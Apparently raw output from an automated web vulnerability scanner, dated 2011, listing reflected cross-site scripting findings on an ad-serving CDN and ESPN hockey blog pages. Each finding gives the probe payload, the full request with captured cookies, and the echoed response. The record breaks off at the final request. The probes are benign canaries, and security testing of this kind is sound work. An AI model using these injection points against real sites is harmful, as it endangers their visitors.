HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1711 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:46 GMT Date: Sat, 26 Feb 2011 01:49:46 GMT Connection: close
var zzADS_CHAN = '203687990'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <a href="http://o1.qnsr.com//cgi/c?a=20142921;x=15105;c=203687990,203687990;i=076eb8';154269bab02;n=203;s=9542;q=1;' + zz_param + zz_ref + zzStr + ';k=' + zz_trd + 'http://altfarm.mediaplex.com/ad/ck/12309-121202-25586-3?mpt=%r"> ...[SNIP]...
The value of REST URL parameter 10 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 44e74'%3b34f7324748b was submitted in the REST URL parameter 10. This input was echoed as 44e74';34f7324748b in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20144456/2305/0/0/203687985/203687985//0/20344e74'%3b34f7324748b/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1567 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:51 GMT Date: Sat, 26 Feb 2011 01:49:51 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <iframe SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=20344e74';34f7324748b%3Bs=9542%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top"> ...[SNIP]...
The value of REST URL parameter 11 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3a862'%3bf3353a7f709 was submitted in the REST URL parameter 11. This input was echoed as 3a862';f3353a7f709 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20144456/2305/0/0/203687985/203687985//0/203/95423a862'%3bf3353a7f709//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1567 Cache-Control: max-age=2591963 Expires: Mon, 28 Mar 2011 01:49:17 GMT Date: Sat, 26 Feb 2011 01:49:54 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=95423a862';f3353a7f709%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top"> ...[SNIP]...
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3cb8a'%3b33ba26914f6 was submitted in the REST URL parameter 4. This input was echoed as 3cb8a';33ba26914f6 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20144456/23053cb8a'%3b33ba26914f6/0/0/203687985/203687985//0/203/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1567 Cache-Control: max-age=2591963 Expires: Mon, 28 Mar 2011 01:48:54 GMT Date: Sat, 26 Feb 2011 01:49:31 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <iframe SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=23053cb8a';33ba26914f6%3Bg=0,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top"> ...[SNIP]...
The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 13ac3'%3be8a5b3462de was submitted in the REST URL parameter 5. This input was echoed as 13ac3';e8a5b3462de in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20144456/2305/013ac3'%3be8a5b3462de/0/203687985/203687985//0/203/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1567 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:35 GMT Date: Sat, 26 Feb 2011 01:49:35 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <iframe SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=2305%3Bg=013ac3';e8a5b3462de,0%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top"> ...[SNIP]...
The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 53bb2'%3b1831e25c1a7 was submitted in the REST URL parameter 6. This input was echoed as 53bb2';1831e25c1a7 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20144456/2305/0/053bb2'%3b1831e25c1a7/203687985/203687985//0/203/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1567 Cache-Control: max-age=2591979 Expires: Mon, 28 Mar 2011 01:49:17 GMT Date: Sat, 26 Feb 2011 01:49:38 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <iframe SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=2305%3Bg=0,053bb2';1831e25c1a7%3Bc=203687985,203687985%3Bi=0%3Bn=203%3Bs=9542%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top"> ...[SNIP]...
The value of REST URL parameter 7 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 553df'%3b09d71b838b7 was submitted in the REST URL parameter 7. This input was echoed as 553df';09d71b838b7 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20144456/2305/0/0/203687985553df'%3b09d71b838b7/203687985//0/203/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1585 Cache-Control: max-age=2591987 Expires: Mon, 28 Mar 2011 01:49:28 GMT Date: Sat, 26 Feb 2011 01:49:41 GMT Connection: close
var zzADS_CHAN = '203687985553df';09d71b838b7'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = zzPage_obj[zzADS_CHAN].zzTrd;
The value of REST URL parameter 8 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 9f3d6'%3bcc30eb8bed2 was submitted in the REST URL parameter 8. This input was echoed as 9f3d6';cc30eb8bed2 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20144456/2305/0/0/203687985/2036879859f3d6'%3bcc30eb8bed2//0/203/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1567 Cache-Control: max-age=2591986 Expires: Mon, 28 Mar 2011 01:49:30 GMT Date: Sat, 26 Feb 2011 01:49:44 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <iframe SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=2305%3Bg=0,0%3Bc=203687985,2036879859f3d6';cc30eb8bed2%3Bi=0%3Bn=203%3Bs=9542%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top"> ...[SNIP]...
The value of REST URL parameter 9 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload d59e1'%3ba8fb555b141 was submitted in the REST URL parameter 9. This input was echoed as d59e1';a8fb555b141 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET //cgi/k/20144456/2305/0/0/203687985/203687985//0d59e1'%3ba8fb555b141/203/9542//3000007/i.js HTTP/1.1 Host: e2.cdn.qnsr.com Proxy-Connection: keep-alive Referer: http://blog.internetnews.com/skerner/2011/02/google-chrome-gets-cranked-to.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.98 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: QIDA=TVrzNgqABU0AABtR2Bo; QUADIDX=107; qsg=14508; QPC201001141843480=ZZa20099791Zc203555503%2C203555503Zg172Zw56Zm0Zs8986Zk166110218044716818ZrNULLZiNULLZt149ZZ; QCP201001141843480=JkNDSUQ9MjAxMjM1MTkyMDM2MzA5MTAmUVRSPVpaZjBaYTIwMTIzNTE5WmIwWmcxNzJadzU2Wm0wWmMyMDM2MzA5MTAsMjAzNjMwOTEwWnM5NTQ0WlomQ0xLPTM5NDExMDIxOA==
Response
HTTP/1.1 200 OK Server: QUAD 3G P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml" Content-Type: application/javascript Content-Length: 1567 Cache-Control: max-age=2592000 Expires: Mon, 28 Mar 2011 01:49:47 GMT Date: Sat, 26 Feb 2011 01:49:47 GMT Connection: close
var zzADS_CHAN = '203687985'; if (typeof zzPage_obj != 'undefined' && typeof zzPage_obj[zzADS_CHAN] != 'undefined') { var zzStr = zzPage_obj[zzADS_CHAN].zzStr; var zzTrd = z ...[SNIP]... <iframe SRC="http://view.atdmt.com/MRT/iview/299850655/direct;wi.300;hi.250/01' + zzDate.getTime() + '?click=http://o1.qnsr.com//cgi/c?a=20144456%3Bx=2305%3Bg=0,0%3Bc=203687985,203687985%3Bi=0d59e1';a8fb555b141%3Bn=203%3Bs=9542%3B' + escape(zzStr) + '%3Bk%3D" width="300" height="250" frameborder="0" border="0" marginwidth="0" marginheight="0" scrolling="no" align="top"> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6803a"><a>7c711d6e0b5 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /blog/new-york/hockey/category/_/name/new-jersey-devils6803a"><a>7c711d6e0b5 HTTP/1.1 Host: espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:20:38 GMT Content-Type: text/html;charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:20:38 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN09 Cache-Expires: Wed, 23 Feb 2011 23:25:38 GMT InvH: blog-new-yorkhockey Content-Length: 33353 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Hockey Blog - ESPN ...[SNIP]... <link rel="canonical" href="http://espn.go.com/blog/new-york/hockey/category/_/name/new-jersey-devils6803a"><a>7c711d6e0b5" /> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5588e"><a>6fa37241377 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /blog/new-york/hockey/category/_/name/new-york-islanders5588e"><a>6fa37241377 HTTP/1.1 Host: espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
HTTP/1.1 200 OK Cache-Control: max-age=300 Date: Wed, 23 Feb 2011 23:20:38 GMT Content-Type: text/html;charset=iso-8859-1 Last-Modified: Wed, 23 Feb 2011 23:20:38 GMT Server: Microsoft-IIS/6.0 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa PSAa PSDa IVAi IVDi CONi OUR SAMo OTRo BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA PRE" From: ESPN06 Cache-Expires: Wed, 23 Feb 2011 23:25:38 GMT InvH: blog-new-yorkhockey Content-Length: 33307 Connection: close X-UA-Compatible: IE=EmulateIE7 Vary: Accept-Encoding
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Hockey Blog - ESPN ...[SNIP]... <link rel="canonical" href="http://espn.go.com/blog/new-york/hockey/category/_/name/new-york-islanders5588e"><a>6fa37241377" /> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2c495"><a>c35cbec8142 was submitted in the REST URL parameter 7. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /blog/new-york/hockey/category/_/name/new-york-rangers2c495"><a>c35cbec8142 HTTP/1.1 Host: espn.go.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: broadbandAccess=espn3-false%2Cnetworks-false; DE2=dXNhO3R4O2RhbGxhczticm9hZGJhbmQ7NTs0OzM7NjIzOzAzMi43ODc7LTA5Ni43OTk7ODQwOzQ0Ozc3OzY7dXM7; jt_time=1298497403897; s_pers=%20s_c24%3D1298497403866%7C1393105403866%3B%20s_c24_s%3DFirst%2520Visit%7C1298499203866%3B%20s_gpv_pn%3Despnnewyork%253Anewyork%253Ahome%253Aindex%7C1298499203874%3B; s_sess=%20s_cc%3Dtrue%3B%20s_omni_lid%3D%3B%20s_sq%3D%3B%20s_ppv%3D25%3B; DS=c29mdGxheWVyLmNvbTswO3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjs=; s_vi=[CS]v1|26B2BFB9850139D0-4000010EA079E4CC[CE]; CRBLM=CBLM-001:; CRBLM_LAST_UPDATE=1298497363; userAB=F; SWID=EEF93A7D-3488-4FA5-8C21-135C0F4819BF;
Response
